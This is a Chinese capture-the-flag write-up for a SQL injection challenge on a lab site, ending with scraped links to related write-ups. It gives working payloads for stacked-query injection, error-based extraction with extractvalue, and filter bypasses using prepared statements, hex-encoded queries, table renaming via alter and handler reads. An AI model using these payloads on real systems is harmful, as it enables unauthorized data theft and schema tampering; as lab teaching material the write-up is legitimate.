题目环境:http://de044ac0-9162-4b83-b6a6-8c99ce0efe91.node3.buuoj.cn

打开环境:

尝试注入:

解题思路:
1、先尝试用union联合注入:

第一步、测试注入点(一些小tips:利用引号,and 1=1, or 1=1之类的)判断是字符型还是数字型

1'                             [error]
1'#                           [不报错,正常回显]
1' and 1=1#             [不报错,正常回显]
1' or 1=1#                [不报错,正常回显]
初步判定存在SQL注入

第二步、利用order by查表的列数

1' order by 1#        [不报错,正常回显]
1' order by 2#        [不报错,正常回显]
1' order by 3#        [error 1054 : Unknown column '3' in 'order clause']

得知这张表有三列

第三步、如有回显,找到回显位(回显,就是显示正在执行的批处理命令及执行的结果等)

1' union select 1,2#      [return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);]-----回显了过滤的关键字(/i表示对大小写不敏感)

2、不能找到回显位,接下来尝试使用堆叠注入就是通过 ;分号注入多条SQL语句

①通过show databases爆出数据库:1';show databases;#(执行结果如下图)

②用 show tables 尝试爆表:1';show tables;#(发现有words和1919810931114514这两张表)

③可以看到这里有两个表,我们先尝试爆words表中的内容:1'; show columns from words; #

然后爆表 1919810931114514 中的内容:1'; show columns from `1919810931114514`; #  
注意:表名为数字时,要用反引号包起来查询(反引号为英文状态下的Tab上面那个键)

以上步骤可以发现爆出来了flag字段,然而我对于flag毫无办法:

这里过滤了select,也没有发现绕过select的地方(大小写,加注释)。
于是可以考虑一下报错注入,这里限制了update,那么就不用updatexml,用extractvalue

用户名
1' and (extractvalue(1,concat(0x7e,user(),0x7e)));#
error 1105 : XPATH syntax error: '~root@localhost~'数据库1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#
error 1105 : XPATH syntax error: '~supersqli~'版本
1' and (extractvalue(1,concat(0x7e,version(),0x7e)));#
error 1105 : XPATH syntax error: '~10.3.15-MariaDB~'

到这里可以查出简单的信息,但是过滤了select,似乎无法进一步查表查列了。

可以看到1919810931114514表中有我们想要的flag字段,现在常规方法基本就结束了,要想获得flag就必须来点骚姿势了
借鉴一下大佬们的wp:大佬A、大佬B

绕过SELECT解题思路1:SQL预编译

上一步我们可以得知flag存在于1919810931114514表的flag字段
接下来要读取此字段内的数据,我们要执行的目标语句是:select * from `1919810931114514`;但是由上面步骤可知过滤了select关键字
这里需要绕过select的限制,我们可以使用SQL预编译的方式:

预编译相关语法如下:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

直接上payload就懂了:

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#


这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。
payload改为:

-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');PRepare stmt from @sql;EXECUTE stmt;#

获得FLAG:

flag{916339c0-aa58-4f9e-827f-6489a2d3ff44}

或者:

因为select被过滤了,所以先将select * from ` 1919810931114514 `进行16进制编码

再通过构造payload得

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

进而得到flag

  • prepare…from…是预处理语句,会进行编码转换。
  • execute用来执行由SQLPrepare创建的SQL语句。
  • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

绕过SELECT解题思路2:更改表名列名
 虽然有强大的正则过滤,但没有过滤alert和rename关键字

由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:

select * from words where id = '';

反想一下,我们如果将表1919810931114514名字改为words,flag列名字改为id,那么我们就能得到flag的内容了!
修改表名和列名的语法如下:

-- 修改表名
rename table old_table to new_table;
-- 或者
alter table old_table rename to new_table;-- 修改列名称
alter table table_name change column old_name new_name varchar(255);-- 修改字段类型
alter table table_name modify column column_name varchar(255) default '' COMMENT '注释';

最终payload如下:先将原来的表words改为words1,将表1919810931114514名字改为words,flag列名字改为id

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#

然后使用1' or 1=1#即可查询出flag(相当于二次注入)

绕过SELECT解题思路3:handler语句代替select查询
类似题型:[2020i春秋抗疫赛] WEB blanklist(SQL堆叠注入、handler绕过)

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

语法结构:HANDLER tbl_name OPEN [ [AS] alias]HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]HANDLER tbl_name CLOSE
如:通过handler语句查询users表的内容
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄

本题payload如下:

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

BUUCTF-WEB:[强网杯 2019]随便注 1相关推荐

  1. BUUCTF Web [强网杯 2019]随便注

    「作者主页」:士别三日wyx   此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...

  2. 【BUUCTF】强网杯 2019随便注1 write up

    输入万能密码1' or 1=1# ,判断存在sql注入, SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台. 万能密码原理: 万能密码能够绕过sql检测,在 ...

  3. 【BUUCTF】[强网杯 2019]随便注 1

    这是一个典型的sql注入题目 知识点: 1.注入点检测 2.万能匹配 3.暴力获得数据表和其属性 4.sql语句的掌握(order by; union select; rename table; al ...

  4. buuctf [强网杯 2019]随便注 1

    buuctf web [强网杯 2019]随便注 1 -刷题个人日记 小白一个,写给自己看. 打开后是这样. 从题目和内容来看就是一道sql注入题. 输入 1' or 1=1;# 这个#用来注释掉后面 ...

  5. BUUCTF [强网杯 2019]随便注

    题目 打开环境发现是经典的提交界面 老规则还是查询注入点,1 or 1 =1#,1' order by 1#都未出错,但是1' union select 1,2#是出现了错误,发现一些查询语句被过滤了 ...

  6. 强网杯 2019]随便注 【SQL注入】四种解法

    题目简介 题目名称:[强网杯 2019]随便注 1 题目平台:BUUCTF 题目类型:Web 考察知识点: SQL注入 解题步骤 方法一: 首先启动并访问靶机,有一个输入框,随便输入1' or 1 = ...

  7. BMZCTF 强网杯 2019 随便注 原理+题解

    目录 知识点 堆叠注入 show语句 mysql预编译 过程 重点 预编译 重命名 总结 知识点 堆叠注入 堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开.而堆叠查询注入攻击就 ...

  8. [强网杯 2019]随便注 —— 堆叠注入

                           [强网杯 2019]随便注 前言        个人观点,若有误请指教 解题思路及步骤 直接上'引号,结果直接报错了,证明存在sql注入漏洞. 判断当前表 ...

  9. [强网杯 2019]随便注 1

    题目[强网杯 2019]随便注 1 题目来源:https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4% ...

最新文章

  1. java中浅层克隆和深层克隆
  2. maven 内置参数
  3. Python-文件和数据格式化
  4. C语言 void和void *(无类型指针)
  5. 体重 年龄 性别 身高 预测鞋码_【新手扫盲】身高体重性别年龄身体素质影响玩滑板吗?...
  6. fast路由器服务器未响应,win7系统下fast路由器进不了设置界面如何解决
  7. java task和thread_【Java学习笔记-并发编程】线程与任务
  8. [翻译]在Asp.net 2.0中操作数据::母板页和站点导航
  9. selenium 简介 及浏览器配置
  10. 基于SSM+MySQL的实现的汽车门店管理平台系统
  11. VirtualBox中虚拟机IP地址相同
  12. 解决登录vCenter提示“当前网站安全证书不受信任“
  13. 第二十四天 小丁三战链表
  14. Vue - 实现信纸输入写作,类似写明信片时的一张背景图片 + 横格纸效果(信纸格子与文字自动对齐、支持自定义背景图、文字或横线大小与颜色,一切由您 DIY 自定义样式)纯CSS完成支持任何vue项目
  15. Java 密码学相关知识
  16. Gradle简单配置
  17. 关于显卡PCIE3.0 X16 X8 X4 X1速度的测试
  18. 183亿超募,超千亿估值,埃安为什么引发全行业抢投
  19. uniapp H5写入百度统计
  20. 中国塑料土工格栅行业市场供需与战略研究报告

热门文章

  1. hdu 5569(二维dp,水题)
  2. 求a^b前n位和后n位
  3. NYOJ 312 20岁生日
  4. 添加文件然后自动打开
  5. python学习笔记04 --------------基本运算符
  6. 浮点数在内存中的存储方式
  7. (转)Linux:使用libgen.h:basename,dirname
  8. Codeforces 671D. Roads in Yusland(树形DP+线段树)
  9. Django admin的一些有用定制
  10. 初读设计模式-----《design pattern explained》读后感